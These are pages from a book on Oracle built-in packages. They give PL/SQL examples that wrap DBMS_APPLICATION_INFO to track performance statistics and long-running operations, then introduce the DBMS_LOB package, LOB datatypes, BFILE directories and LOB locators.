rem  SQL*Plus script to demonstrate the use of package
rem  REGISTER_APP for tracking performance statistics
rem
rem ======================================================

set serveroutput on size 100000

set feedback off
rem ======================================================
rem  register module first with display OFF to
rem  initialize stats, then set display ON
rem ======================================================
execute register_app.set_display_TF(FALSE);
execute register_app.module('REGTEST.SQL');
execute register_app.set_display_TF(TRUE);

set feedback on

rem ======================================================
rem  create a table my_dictionary copied from dictionary
rem ======================================================
execute register_app.action('CREATE');

CREATE TABLE my_dictionary
   (id, table_name, comments)
TABLESPACE user_data2
AS
   SELECT rownum,A.*
     FROM dictionary A;

rem ======================================================
rem  update one third of my_dictionary rows
rem ======================================================
execute register_app.action('UPDATE');

UPDATE my_dictionary
   SET comments = RPAD(comments,2000,'*')
 WHERE MOD(id,3) = 0;

rem ======================================================
rem  delete one third of my_dictionary rows
rem ======================================================
execute register_app.action('DELETE');

DELETE FROM my_dictionary
 WHERE MOD(id,3) = 1;

rem ======================================================
rem  drop table my_dictionary
rem ======================================================
execute register_app.action('DROP');

DROP TABLE my_dictionary;

rem ======================================================
rem  unregister and display previous step stats
rem ======================================================
execute register_app.module(null,null);

Here is sample output generated by the script:

SQL> @regtest
Module: REGTEST.SQL
Action: BEGIN
Client Info:
Stats:  elapsed secs: .15, physical reads: 0, logical reads: 0

PL/SQL procedure successfully completed.

Table created.

Module: REGTEST.SQL
Action: CREATE
Client Info:
Stats:  elapsed secs: 15.93, physical reads: 137, logical reads: 8407

PL/SQL procedure successfully completed.

92 rows updated.

Module: REGTEST.SQL
Action: UPDATE
Client Info:
Stats:  elapsed secs: 9.32, physical reads: 8, logical reads: 2075

PL/SQL procedure successfully completed.

93 rows deleted.

Module: REGTEST.SQL
Action: DELETE
Client Info:
Stats:  elapsed secs: .6, physical reads: 0, logical reads: 296

PL/SQL procedure successfully completed.

Table dropped.

Module: REGTEST.SQL
Action: DROP
Client Info:
Stats:  elapsed secs: 5.36, physical reads: 35, logical reads: 356

PL/SQL procedure successfully completed.

7.3.6 Covering DBMS_APPLICATION_INFO

Oracle suggests in the DBMS_APPLICATION_INFO package documentation that DBAs may want to develop a cover package called DBMS_APPLICATION_INFO in a schema other than SYS. By redirecting the public synonym DBMS_APPLICATION_INFO to point at this version of the package, any programs referencing DBMS_APPLICATION_INFO programs will use the new package. Any functional extensions to DBMS_APPLICATION_INFO in the cover package will be immediately picked up by programs using DBMS_APPLICATION_INFO. In this way, resource tracking like that demonstrated by the register_app package can be implemented globally for programs using DBMS_APPLICATION_INFO.

Instead of directly covering DBMS_APPLICATION_INFO with a package of the same name, I chose to create the register_app package. One reason for this: I prefer the shorter and more meaningful name register_app. New applications can call register_app directly and avoid the painfully long DBMS_APPLICATION_INFO package name. Another reason was that I wanted to extend the functionality of DBMS_APPLICATION_INFO with new programs, and thus the new package would not look identical to DBMS_APPLICATION_INFO. When covering an Oracle built-in package, it is good practice to create a package with an identical specification (or API) to that of the built-in.

We can actually cover DBMS_APPLICATION_INFO with a package that calls the register_app programs. In this way, the functionality of register_app is extended to programs that reference DBMS_APPLICATION_INFO directly, and we still have our new package to use for new programs.

The following code shows how DBMS_APPLICATION_INFO.SET_MODULE can be covered in this way:

CREATE OR REPLACE PACKAGE BODY DBMS_APPLICATION_INFO
IS
PROCEDURE set_module
    (module_name IN VARCHAR2
    ,action_name IN VARCHAR2)
IS
   register_app.module(module_name, action_name);
END set_module;

Notice that the SET_MODULE cover procedure is identical in signature to the program of the same name in the SYS version of the DBMS_APPLICATION_INFO package.

Q: Why must the cover package for DBMS_APPLICATION_INFO match all program signatures identically, including parameter names?

A: The program signatures in the cover package to DBMS_APPLICATION_INFO must match those in the SYS version of the package because existing calls to DBMS_APPLICATION_INFO could otherwise be compromised. It is necessary to match not only the number of parameters and their datatypes and modes (IN or OUT) but also the parameter names. The parameter names must match in order to preserve functionality in existing programs calling DBMS_APPLICATION_INFO using named notation. The following fragment illustrates code that will not work if the cover package does not preserve parameter names in the signature for the SET_MODULE procedure:

DECLARE
   module_var  VARCHAR2(64) := 'Program 1';
   action_var  VARCHAR2(64) := 'Transaction A';
BEGIN
   DBMS_APPLICATION_INFO.SET_MODULE
      (module_name=>module_var
      ,action=>action_var);
END;

Q: What necessary precaution was taken in the register_app package to ensure that it could be used as part of a cover package for DBMS_APPLICATION_INFO?

A: All calls to DBMS_APPLICATION_INFO in the register_app package are fully qualified with the schema name (SYS). This way, when the public synonym DBMS_APPLICATION_INFO is redirected to point at the cover package, an infinite loop is avoided and the SYS version of the package is ultimately called.

Exercise for the reader: Create the full cover package for DBMS_APPLICATION_INFO using the register_app package.

7.3.7 Monitoring Application SQL Resource Consumption

When applications make use of DBMS_APPLICATION_INFO to register themselves, DBAs can monitor application usage and resource consumption through the V$SESSION and V$SQLAREA virtual tables. The following is a simple report summarizing SQL resource consumption data by application module and action. Such reports can serve a number of useful purposes, including the following:

  • Identifying tuning opportunities

  • Quantifying utilization levels by application component

  • Implementing chargeback schemes

    /* Filename on companion disk: sqlarea.sql  */
rem ======================================================
rem SQLAREA.SQL
rem Simple report from V$SQLAREA on SQL resource
rem utilization by module and action
rem ======================================================

col module format a15
col action format a15

SELECT  module
       ,action
       ,SUM(buffer_gets) buffer_gets
       ,SUM(rows_processed) rows_processed
       ,SUM(disk_reads) disk_reads
  FROM  sys.v_$sqlarea
 WHERE module IS NOT NULL
   AND action IS NOT NULL
GROUP BY module, action;

The following output was generated by the script after regtest.sql had been executed several times:

SQL> @sqlarea

MODULE          ACTION           BUFFER_GETS  ROWS_PROCESSED  DISK_READS
-------------   ---------------  -----------  --------------  ----------
REGTEST.SQL     BEGIN                   0             7            0
REGTEST.SQL     CREATE                  0             7            0
REGTEST.SQL     DELETE               1014           313            0
REGTEST.SQL     DROP                    0             7            0
REGTEST.SQL     UPDATE               6721           308           33

5 rows selected.

7.3.8 Session Monitoring and Three-Tier Architectures

While writing this section on DBMS_APPLICATION_INFO, I had occasion to recommend the use of this package to help solve two real-world issues that came to my attention. In one case, an application had been written to call DBMS_SESSION.SET_SQL_TRACE and thus turn SQL tracing on for a session running the application.[1] The DBA wanted to know which sessions were being traced at any given time. I suggested the use of DBMS_APPLICATION_INFO.SET_CLIENT_INFO to put a message into the V$SESSION table indicating a tracing session. The procedure to set tracing could look something like this:

[1] Coding applications with the ability to set SQL tracing on and off is very good practice, as it can greatly assist in the detection of post-deployment runtime performance problems.

PROCEDURE set_trace (on_TF IN BOOLEAN)
IS
BEGIN
   IF on_TF
      THEN
         DBMS_APPLICATION_INFO.SET_CLIENT_INFO('TRACE ON');
      ELSE
         DBMS_APPLICATION_INFO.SET_CLIENT_INFO('');
   END IF;

   DBMS_SESSION.SET_SQL_TRACE(on_TF);
END set_trace;

In the second example, I was discussing with another DBA the difficult issue of tracking down specific users in the following types of applications:

  • Three-tier applications like Oracle WebServer where users do not connect to Oracle directly, but through proxy connections held by the application server.

  • Applications where all users connect to Oracle under a common username, and security and user-differentiation are maintained entirely within the application at runtime.

Both of these architectures make it difficult for the DBA to correlate specific end users with the database sessions they are currently using. In the first case, sessions are persistent and serve different users at different times -- and sometimes no user at all. In the second case, all user sessions connect to a common username and thus are indistinguishable (by username) in V$SESSION. Interestingly enough, these are both perfect opportunities to use DBMS_APPLICATION_INFO.SET_CLIENT_INFO. When users connect to the application, call a procedure like the set_user procedure in the example for DBMS_APPLICATION_INFO.SET_CLIENT_INFO. A better version of set_user would call register_app.client_info to enable performance statistics tracking for the application users.

7.3.9 Tracking Long-Running Processes

The SET_SESSION_LONGOPS procedure is an interesting addition to DBMS_APPLICATION_INFO first found in the Oracle8 version of the package. Oracle documentation makes it clear that the intended use of the procedure is to enable external tracking of the progress of long-duration operations through the new virtual table, V$SESSION_LONGOPS. However, I found SET_SESSION_LONGOPS rather nonintuitive and unwieldy to use.

One difficult concept is the reuse of the four rows in V$SESSION_LONGOPS based on unique combinations of context and stepid, and how this relates to the hint parameter, which is used to identify the row to modify. Context and stepid do not have to be unique among the rows in V$SESSION_LONGOPS, but setting a new context/stepid combination will always cause acquisition of a new row. Because multiple rows can be identical in context/stepid, they do not really form a key (along with the session SID) to the virtual table. The hint parameter to DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS seems to be the only way to identify which row is currently being set, but there is no column in V$SESSION_LONGOPS corresponding to the hint. Thus it is actually impossible to externally identify with accuracy the row modified by the last call to the procedure. This defeated my efforts to write a READ_SESSION_LONGOPS procedure that takes a hint value in and reports the values for the row identified by that hint value.

Another usability issue with SET_SESSION_LONGOPS is that any values not set in the procedure call will be set to zero. Thus, if you want to increment different counter columns at different times in an application (for the same row in V$SESSION_LONGOPS), you must keep track of all counter values and pass them all in each time the procedure is called. Adding to the cumbersome nature of the long parameter list are the extremely long names of the package and procedure themselves. You really have to want, or, as is more likely, need to call SET_SESSION_LONGOPS in order to use it!

These usability issues seemed to provide an opportunity to improve ease-of-use through encapsulation. I decided to build a package called longops to offer some relief. Here is the package specification for longops:

/* Filename on companion disk: longops.sql */*
CREATE OR REPLACE PACKAGE longops
IS
   /*
   || Enhances DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
   || by allowing individual columns to be updated without
   || passing all parameter values.
   ||
   || Author:  John Beresniewicz, Savant Corp
   || Created: 09/08/97
   ||
   || Compilation Requirements:
   || SELECT on SYS.V_$SESSION_LONGOPS
   ||
   || Execution Requirements:
   ||
   ||
   */

   /* returns a new V$SESSION_LONGOPS row index */
   FUNCTION new_row RETURN BINARY_INTEGER;

   /* returns the last row index used */
   FUNCTION current_row RETURN BINARY_INTEGER;

   /* makes a new row the current row */
   PROCEDURE set_current_row
      (row_idx_IN IN BINARY_INTEGER);

   /*
   || Covers DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
   */
   PROCEDURE set_row
      (hint_IN IN BINARY_INTEGER
      ,context_IN IN NUMBER DEFAULT 0
      ,stepid_IN IN NUMBER DEFAULT 0
      ,stepsofar_IN IN NUMBER DEFAULT 0
      ,steptotal_IN IN NUMBER DEFAULT 0
      ,sofar_IN IN NUMBER DEFAULT 0
      ,totalwork_IN IN NUMBER DEFAULT 0
      ,appdata1_IN IN NUMBER DEFAULT 0
      ,appdata2_IN IN NUMBER DEFAULT 0
      ,appdata3_IN IN NUMBER DEFAULT 0);

   /*
   || Updates a single row in V$SESSION_LONGOPS
   || preserving values in columns corresponding
   || to parameters passed as NULL.
   */
   PROCEDURE update_row
      (hint_IN IN BINARY_INTEGER DEFAULT current_row
      ,context_IN IN NUMBER DEFAULT NULL
      ,stepid_IN IN NUMBER DEFAULT NULL
      ,stepsofar_IN IN NUMBER DEFAULT NULL
      ,steptotal_IN IN NUMBER DEFAULT NULL
      ,sofar_IN IN NUMBER DEFAULT NULL
      ,totalwork_IN IN NUMBER DEFAULT NULL
      ,appdata1_IN IN NUMBER DEFAULT NULL
      ,appdata2_IN IN NUMBER DEFAULT NULL
      ,appdata3_IN IN NUMBER DEFAULT NULL);

END longops;

The real key to the package is the update_row procedure. This procedure allows the user to update individual columns in V$SESSION_LONGOPS for a given row without zeroing out the other columns. It does this by keeping a copy of the V$SESSION_LONGOPS rows that have been modified in a private PL/SQL table called my_longops_tab. Here is the definition of my_longops_tab:

   TYPE longops_tabtype IS TABLE OF sys.v_$session_longops%ROWTYPE
      INDEX BY BINARY_INTEGER;
   my_longops_tab longops_tabtype;

The current_row function and set_current_row procedure are used to maintain a context of which row is currently being modified. The presumption is that most users of SET_SESSION_LONGOPS will concentrate on a single row in V$SESSION_LONGOPS at a time. The set_row procedure covers SET_SESSION_LONGOPS but additionally saves the data to my_longops_tab.

The body of the update_row procedure looks like this:

PROCEDURE update_row
      (hint_IN IN BINARY_INTEGER DEFAULT current_row
      ,context_IN IN NUMBER DEFAULT NULL
      ,stepid_IN IN NUMBER DEFAULT NULL
      ,stepsofar_IN IN NUMBER DEFAULT NULL
      ,steptotal_IN IN NUMBER DEFAULT NULL
      ,sofar_IN IN NUMBER DEFAULT NULL
      ,totalwork_IN IN NUMBER DEFAULT NULL
      ,appdata1_IN IN NUMBER DEFAULT NULL
      ,appdata2_IN IN NUMBER DEFAULT NULL
      ,appdata3_IN IN NUMBER DEFAULT NULL)
   IS
      temp_hint_IN BINARY_INTEGER := hint_IN;
   BEGIN
      /*
      || First update saved row in my_longops_tab, any
      || parameters which are NULL will not change the
      || saved row.
      */
      my_longops_tab(hint_IN).context := NVL(context_IN,
               my_longops_tab(hint_IN).context);
      my_longops_tab(hint_IN).stepid := NVL(stepid_IN,
               my_longops_tab(hint_IN).stepid);
      my_longops_tab(hint_IN).stepsofar := NVL(stepsofar_IN,
               my_longops_tab(hint_IN).stepsofar);
      my_longops_tab(hint_IN).steptotal := NVL(steptotal_IN,
               my_longops_tab(hint_IN).steptotal);
      my_longops_tab(hint_IN).sofar := NVL(sofar_IN,
               my_longops_tab(hint_IN).sofar);
      my_longops_tab(hint_IN).totalwork := NVL(totalwork_IN,
               my_longops_tab(hint_IN).totalwork);
      my_longops_tab(hint_IN).application_data_1 := NVL(appdata1_IN,
               my_longops_tab(hint_IN).application_data_1);
      my_longops_tab(hint_IN).application_data_2 := NVL(appdata2_IN,
               my_longops_tab(hint_IN).application_data_2);
      my_longops_tab(hint_IN).application_data_3 := NVL(appdata3_IN,
               my_longops_tab(hint_IN).application_data_3);

      /*
      || Now call DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
      || passing all parameters from the row in my_longops_tab.
      */
      DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
         (hint=>temp_hint_IN
         ,context=>my_longops_tab(hint_IN).context
         ,stepid=>my_longops_tab(hint_IN).stepid
         ,stepsofar=>my_longops_tab(hint_IN).stepsofar
         ,steptotal=>my_longops_tab(hint_IN).steptotal
         ,sofar=>my_longops_tab(hint_IN).sofar
         ,totalwork=>my_longops_tab(hint_IN).totalwork
         ,application_data_1=>
                  my_longops_tab(hint_IN).application_data_1
         ,application_data_2=>
                  my_longops_tab(hint_IN).application_data_2
         ,application_data_3=>
                  my_longops_tab(hint_IN).application_data_3
         );

      /* set the current row */
      set_current_row(hint_IN);

   END update_row;

The update_row procedure is pretty straightforward. One subtlety is that the hint_IN parameter defaults to the function current_row. This allows us to call update_row without even passing in a row identifier as long as we want to modify the same row as last time. Using the longops package, the example for DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS can be rewritten as follows:

/* Filename on companion disk: apinex3.sql  */*
BEGIN
   -- get new row in V$SESSION_LONGOPS and set totalwork
   longops.set_row(longops.new_row,totalwork_IN=>1000);

   -- Do operation 1000 times and record
   FOR i IN 1..1000
   LOOP
      -- update sofar each time
      longops.update_row(sofar_IN=>i);

      -- update stepsofar every 100 iterations
      IF MOD(i,100) = 0
      THEN
         longops.update_row(stepsofar_IN=>i/100);
      END IF;
   END LOOP;
END;

This code is much more readable than the earlier example. The calls are shorter in length, yet easier to understand. Overall readability is also improved by being able to update columns individually and not being forced to overload each call with a long list of saved parameter values.

Previous: 7.2 DBMS_APPLICATION_INFO Interface | Oracle Built-in Packages | Next: 8. Managing Large Objects
7.2 DBMS_APPLICATION_INFO Interface | Book Index | 8. Managing Large Objects
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] Managing Large Objects

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 7.3 DBMS_APPLICATION_INFO Examples Chapter 8 Next: 8.2 LOB Concepts

8. Managing Large Objects

Contents:
Getting Started with DBMS_LOB
LOB Concepts
DBMS_LOB Interface

Oracle8 and PL/SQL8 support the storage and manipulation of large objects (a.k.a. LOBs). A LOB, which can be a column in a table or an attribute of an object type, may store up to four gigabytes of data, such as character text, graphic images, video, or "raw" data. The DBMS_LOB package (new to Oracle8) provides a set of procedures and functions to access and manipulate LOBs from within PL/SQL programs.

You can also manipulate LOBs from within SQL; refer to the Oracle documentation for these SQL-specific aspects of LOB management.

8.1 Getting Started with DBMS_LOB

The DBMS_LOB package is created when the Oracle8 database is installed. The dbmslob.sql script (found in the built-in packages source directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_LOB for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

8.1.1 DBMS_LOB Programs

Table 8.1 summarizes the programs available in DBMS_LOB.

Table 8.1: DBMS_LOB Programs
Name | Description | Use in SQL
APPEND | Appends the contents of a source internal LOB to a destination internal LOB | No
COMPARE | Compares two LOBs of the same type; parts of LOBs can also be compared | Yes
COPY | Copies all or part of the contents of a source internal LOB to a destination internal LOB | No
ERASE | Erases all or part of an internal LOB | No
FILECLOSE | Closes an open BFILE | No
FILECLOSEALL | Closes all open BFILEs | No
FILEEXISTS | Checks if a given file exists | Yes
FILEGETNAME | Returns directory alias and filename of given file locator | No
FILEOPEN | Opens a BFILE for read-only access | No
FILEISOPEN | Determines if a BFILE was opened with the given file locator | Yes
GETLENGTH | Returns the length of the input LOB; length is in bytes for BFILEs and BLOBs; length is in characters for CLOBs and NCLOBs | Yes
INSTR | Returns matching offset location in the input LOB of the Nth occurrence of a given pattern | Yes
LOADFROMFILE | Loads all or part of external LOB to internal LOB | No
READ | Provides piece-wise read access to a LOB | No
SUBSTR | Provides piece-wise read access to a LOB | Yes
TRIM | Trims the contents of an internal LOB to the length specified by the newlenparameter | No
WRITE | Writes a given number of bytes or characters to an internal LOB at a specified offset | No

Table Table 8.2 shows which LOB types you can manipulate with the individual DBMS_LOB programs. For an explanation of these LOB types, see the section Section 8.2, "LOB Concepts"" later in this chapter.

Table 8.2: DBMS_LOB Programs Can Manipulate These LOB Types
Program | BFILE | BLOB | CLOB | NCLOB
APPEND |  | X | X | X
COMPARE | X | X | X | X
COPY |  | X | X | X
ERASE |  | X | X | X
FILECLOSE | X |  |  |
FILECLOSEALL | X |  |  |
FILEEXISTS | X |  |  |
FILEGETNAME | X |  |  |
FILEISOPEN | X |  |  |
FILEOPEN | X |  |  |
GETLENGTH | X | X | X | X
INSTR | X | X | X | X
LOADFROMFILE | X | X | X | X
READ | X | X | X | X
SUBSTR | X | X | X | X
TRIM |  | X | X | X
WRITE |  | X | X | X

8.1.2 DBMS_LOB Exceptions

Table Table 8.3 summarizes the exceptions declared by DBMS_LOB.

Table 8.3: DBMS_LOB Exceptions
Exception | SQLCODE | Cause
INVALID_ARGVAL | -21560 | DBMS_LOB expects a valid argument to be passed, but the argument was NULL or invalid. Example: FILEOPEN is passed an invalid open mode. Example: a positional or size argument is outside of the range 1 through (4 gigabytes-1).
ACCESS_ERROR | -22925 | An attempt to read or write beyond maximum LOB size has occurred.
NOEXIST_DIRECTORY | -22285 | The directory specified does not exist in the data dictionary.
NOPRIV_DIRECTORY | -22286 | The user does not have the required privileges on either the specified directory object or the specified file.
INVALID_DIRECTORY | -22287 | The directory specified is not valid or has been modified by the database administrator since the last access.
OPERATION_FAILED | -22288 | An operation attempted on a file failed.
UNOPENED_FILE | -22289 | An operation was performed on a file that was not open.
OPEN_TOOMANY | -22290 | The maximum number of open files has been reached. This maximum is set via the SESSION_MAX_OPEN_FILES database initialization parameter. The maximum applies to many kinds of files, not only BFILES; for example, it applies to files opened using the UTL_FILE package.

8.1.3 DBMS_LOB Nonprogram Elements

Table Table 8.4 summarizes the constants declared by the DBMS_LOB package.

Table 8.4: DBMS_LOB Constants
Element Name | Type | Value
FILE_READONLY | CONSTANT BINARY_INTEGER | Zero. Mode used to open files.
LOBMAXSIZE | CONSTANT INTEGER | 4,294,967,295 (4 gigabytes-1). Positional and size arguments cannot exceed this value.

8.1.4 About the Examples

This chapter contains many examples of DBMS_LOB usage. For my examples, I use tables called my_book_files and my_book_text, which contain (or point to) large volumes of text for a book. The structures of these tables follow:

/* Filename on companion disk: lobtabs.sql */*
CREATE TABLE my_book_files (
   file_descr VARCHAR2(100),
   book_file BFILE);

CREATE TABLE my_book_text (
   chapter_descr VARCHAR2(100),
   chapter_text CLOB);

Often, I'll query one of the fields from the table for a given chapter (chapter_desc) value. To avoid repetition of code, here are the implementations of functions that will be used throughout the examples:

/* Filename on companion disk: lobfuncs.sql */*
CREATE OR REPLACE FUNCTION book_file (chapter_in IN VARCHAR2)
   RETURN BFILE
IS
   CURSOR book_cur
   IS
      SELECT book_file
        FROM my_book_files
       WHERE file_descr = chapter_in;
   book_rec book_cur%ROWTYPE;
BEGIN
   OPEN book_cur;
   FETCH book_cur INTO book_rec;
   CLOSE book_cur;
   RETURN book_rec.book_file;
END;
/
CREATE OR REPLACE FUNCTION book_text (chapter_in IN VARCHAR2)
   RETURN CLOB
IS
   CURSOR book_cur
   IS
      SELECT chapter_text
        FROM my_book_text
       WHERE chapter_descr = chapter_in;
   book_rec book_cur%ROWTYPE;
BEGIN
   OPEN book_cur;
   FETCH book_cur INTO book_rec;
   CLOSE book_cur;
   RETURN book_rec.chapter_text;
END;
/
CREATE OR REPLACE FUNCTION book_text_forupdate (chapter_in IN VARCHAR2)
   RETURN CLOB
IS
   CURSOR book_cur
   IS
      SELECT chapter_text
        FROM my_book_text
       WHERE chapter_descr = chapter_in
         FOR UPDATE;
   book_rec book_cur%ROWTYPE;
BEGIN
   OPEN book_cur;
   FETCH book_cur INTO book_rec;
   CLOSE book_cur;
   RETURN book_rec.chapter_text;
END;
/

In several of the examples, I'll compare before and after "images" of LOB content using the following statements (stored in the compare_text.sql file):

   SELECT chapter_descr, chapter_text
     FROM my_book_text
    WHERE chapter_descr = '&1'
   ROLLBACK;

   EXEC DBMS_OUTPUT.PUT_LINE ('Rollback completed');

   SELECT chapter_descr, chapter_text
     FROM my_book_text
    WHERE chapter_descr = '&1'
END;
/

NOTE: It's a good practice to include exception handlers in any program working with LOBs to trap and deal with LOB-related errors. Not all of the programs and anonymous blocks shown in this chapter include exception handlers, but that is done only to reduce overall code volume.

Previous: 7.3 DBMS_APPLICATION_INFO Examples | Oracle Built-in Packages | Next: 8.2 LOB Concepts
7.3 DBMS_APPLICATION_INFO Examples | Book Index | 8.2 LOB Concepts
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.2 LOB Concepts

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

8.2 LOB Concepts

This section describes some basic LOB concepts you'll need to understand when you work with large objects.

8.2.1 LOB Datatypes

Oracle8 provides four LOB datatypes:

BFILE

Large binary objects stored in operating system files outside of the database; for example, a bitmap image file.

BLOB

Large objects consisting of unstructured binary data.

CLOB

Large objects consisting of single-byte fixed-width character data.

NCLOB

Large binary objects consisting of single-byte or multiple-byte fixed-width character data.

8.2.1.1 Internal and external LOBs

There are two categories of LOBs, depending upon their location with respect to the physical database:

  • Internal LOBs (of datatypes BLOB, CLOB, and NCLOB) are stored in the database and can participate in transactions. Changes to internal LOB values can be rolled back or committed. A cursor can select an internal LOB FOR UPDATE. Uncommitted changes to an internal LOB are not seen by a separate session.

  • External LOBs (of datatype BFILE) are stored outside of the database in operating system files and cannot participate in transactions. Instead, the underlying operating system provides the data integrity. Access to external LOBs is read-only.

8.2.1.2 The BFILE datatype

The BFILE datatype is used to store large binary objects (up to four gigabytes) in files outside of the database.

A BFILE could be a PL/SQL variable,

DECLARE
   my_book_file BFILE;

or a column in a table,

CREATE TABLE my_book_files
   ( file_descr VARCHAR2(40),  book_file BFILE  );

or an attribute in a TYPE,

CREATE OR REPLACE PACKAGE blobby
IS
   TYPE adpage_rectype IS RECORD (
      customer_id NUMBER,
      persuasive_picture BFILE
      ),

or a parameter/RETURN type in a PL/SQL procedure or function:

CREATE OR REPLACE FUNCTION blended_image (
   old_image IN BFILE, new_image IN BFILE)
   RETURN BFILE
IS
BEGIN
   ...
END;

In each case, the BFILE value points to an operating-system file residing on the server and outside of the database.

8.2.1.3 The BLOB datatype

The BLOB datatype is used to store large binary objects within the database; the objects can be up to four gigabytes and may consist of unstructured raw data. A BLOB could be a PL/SQL variable,

DECLARE
   corporate_logo BLOB;

or a column in a table,

CREATE TABLE my_book_diagrams
   ( chapter_descr VARCHAR2(40),
     diagram_no INTEGER,
     diagram BLOB );

or an attribute in a TYPE,

CREATE OR REPLACE PACKAGE chapter
IS
   TYPE diagram_rectype IS RECORD (
      chapter_num NUMBER,
      diagram BLOB
      ),

or a parameter/RETURN type in a PL/SQL procedure or function:

CREATE OR REPLACE PROCEDURE show_blob (
   blob_in IN BLOB)
IS
BEGIN
   ...
END;

A BLOB is an internal LOB, and therefore can participate in database transactions. In other words, changes made to a BLOB can be rolled back or committed along with other changes during a transaction. BLOBs cannot span transactions.

8.2.1.4 The CLOB datatype

The CLOB datatype is used to store large blocks within the database. The blocks can be up to four gigabytes of single-byte character data. A CLOB could be a PL/SQL variable,

DECLARE
   gettysburg_address_text   CLOB;

or a column in a table,

CREATE TABLE my_book_text
   ( chapter_descr VARCHAR2(40), chapter_text CLOB );

or an attribute in a TYPE,

CREATE OR REPLACE PACKAGE speechifying
IS
   TYPE poll_results_rectype IS RECORD (
      speech_num NUMBER,
      speech_txt CLOB
      ),

or a parameter/RETURN type in a PL/SQL procedure or function:

CREATE OR REPLACE PROCEDURE edit_speech  (
  text_in IN CLOB)
IS
BEGIN
   ...
END;

A CLOB is an internal LOB and therefore can participate in database transactions. In other words, changes made to a CLOB can be rolled back or committed along with other changes during a transaction. CLOBs cannot span transactions, and do not support variable-width character sets.

8.2.1.5 The NCLOB datatype

The NCLOB datatype is used to store large blocks within the database. The blocks can be up to four gigabytes of single-byte or multiple-byte fixed-width character data. A NCLOB could be a PL/SQL variable,

DECLARE
   gettysburg_address_in_japanese NCLOB;

or a column in a table:

CREATE TABLE my_book_in_japanese
   ( chapter_no INTEGER,
     chapter_in_japanese NCLOB );

You may also use the NCLOB datatype in the parameter of a PL/SQL program or the RETURN type for a function. However, you may not use NCLOB as the datatype of an attribute in a TYPE statement.

A NCLOB is an internal LOB, and therefore can participate in database transactions. In other words, changes made to a NCLOB can be rolled back or committed along with other changes during a transaction. NCLOBs cannot span transactions, and do not support variable-width character sets.

8.2.1.6 The LOB locator

The value held in a LOB column or variable is not the actual binary data, but a "locator" or pointer to the physical location of the large object.

For internal LOBs, since one LOB value can be up to four gigabytes in size, the binary data will be stored "out of line" (i.e., physically separate) from the other column values of a row (unless otherwise specified; see the next paragraph). This allows the physical size of an individual row to be minimized for improved performance (the LOB column contains only a pointer to the large object). Operations involving multiple rows, such as full table scans, can be performed more efficiently.

A user can specify that the LOB value be stored in the row itself. This is usually done when working with small LOB values. This approach decreases the time needed to obtain the LOB value. However, the LOB data is migrated out of the row when it gets too big.

For external LOBs, the BFILE value represents a filename and an operating system directory, which is also a pointer to the location of the large object.

8.2.2 BFILE Considerations

There are some special considerations you should be aware of when you work with BFILEs.

8.2.2.1 The DIRECTORY object

A BFILE locator consists of a directory alias and a filename. The directory alias is an Oracle8 database object that allows references to operating system directories without hard-coding directory pathnames. This statement creates a directory:

CREATE DIRECTORY IMAGES AS 'c:\images';

To refer to the c:\images directory within SQL, you can use the IMAGES alias, rather than hard-coding the actual directory pathname.

To create a directory, you need the CREATE DIRECTORY or CREATE ANY DIRECTORY privilege. To reference a directory, you must be granted the READ privilege, as in:

GRANT READ ON DIRECTORY IMAGES TO SCOTT;

8.2.2.2 Populating a BFILE locator

The Oracle8 built-in function BFILENAME can be used to populate a BFILE locator. BFILENAME is passed a directory alias and filename and returns a locator to the file. In the following block, the BFILE variable corporate_logo is assigned a locator for the file named ourlogo.bmp located in the IMAGES directory:

DECLARE
   corporate_logo     BFILE;
BEGIN
   corporate_logo := BFILENAME ( 'IMAGES', 'ourlogo.bmp' );
END;

The following statements populate the my_book_files table; each row is associated with a file in the BOOK_TEXT directory:

INSERT INTO my_book_files ( file_descr, book_file )
     VALUES ( 'Chapter 1', BFILENAME('BOOK_TEXT', 'chapter01.txt') );
UPDATE  my_book_files
   SET  book_file = BFILENAME( 'BOOK_TEXT', 'chapter02rev.txt' )
 WHERE  file_descr = 'Chapter 2';

Once a BFILE column or variable is associated with a physical file, read operations on the BFILE can be performed using the DBMS_LOB package. Remember that access to physical files via BFILEs is read-only, and that the BFILE value is a pointer. The contents of the file remain outside of the database, but on the same server on which the database resides.

8.2.3 Internal LOB Considerations

There are also some special considerations you need to be aware of when you work with internal LOBs.

8.2.3.1 Retaining the LOB locator

The following statement populates the my_book_text table, which contains CLOB column chapter_text:

INSERT INTO my_book_text ( chapter_descr, chapter_text )
     VALUES ( 'Chapter 1', 'It was a dark and stormy night.' );

Programs within the DBMS_LOB package require a LOB locator to be passed as input. If you want to insert the preceding row and then call a DBMS_LOB program using the row's CLOB value, you must retain the LOB locator created by your INSERT statement. You could do this as in the following block, which inserts a row, selects the inserted LOB locator, and then calls the DBMS_LOB.GETLENGTH program to get the size of the CLOB chapter_text column. Note that the GETLENGTH program expects a LOB locator.

DECLARE
   chapter_loc          CLOB;
   chapter_length       INTEGER;
BEGIN
   INSERT INTO my_book_text ( chapter_descr, chapter_text )
        VALUES ( 'Chapter 1', 'It was a dark and stormy night.' );
   SELECT  chapter_text
     INTO  chapter_loc
     FROM  my_book_text
    WHERE  chapter_descr = 'Chapter 1';
   chapter_length := DBMS_LOB.GETLENGTH( chapter_loc );
   DBMS_OUTPUT.PUT_LINE( 'Length of Chapter 1: ' || chapter_length );
END;
/

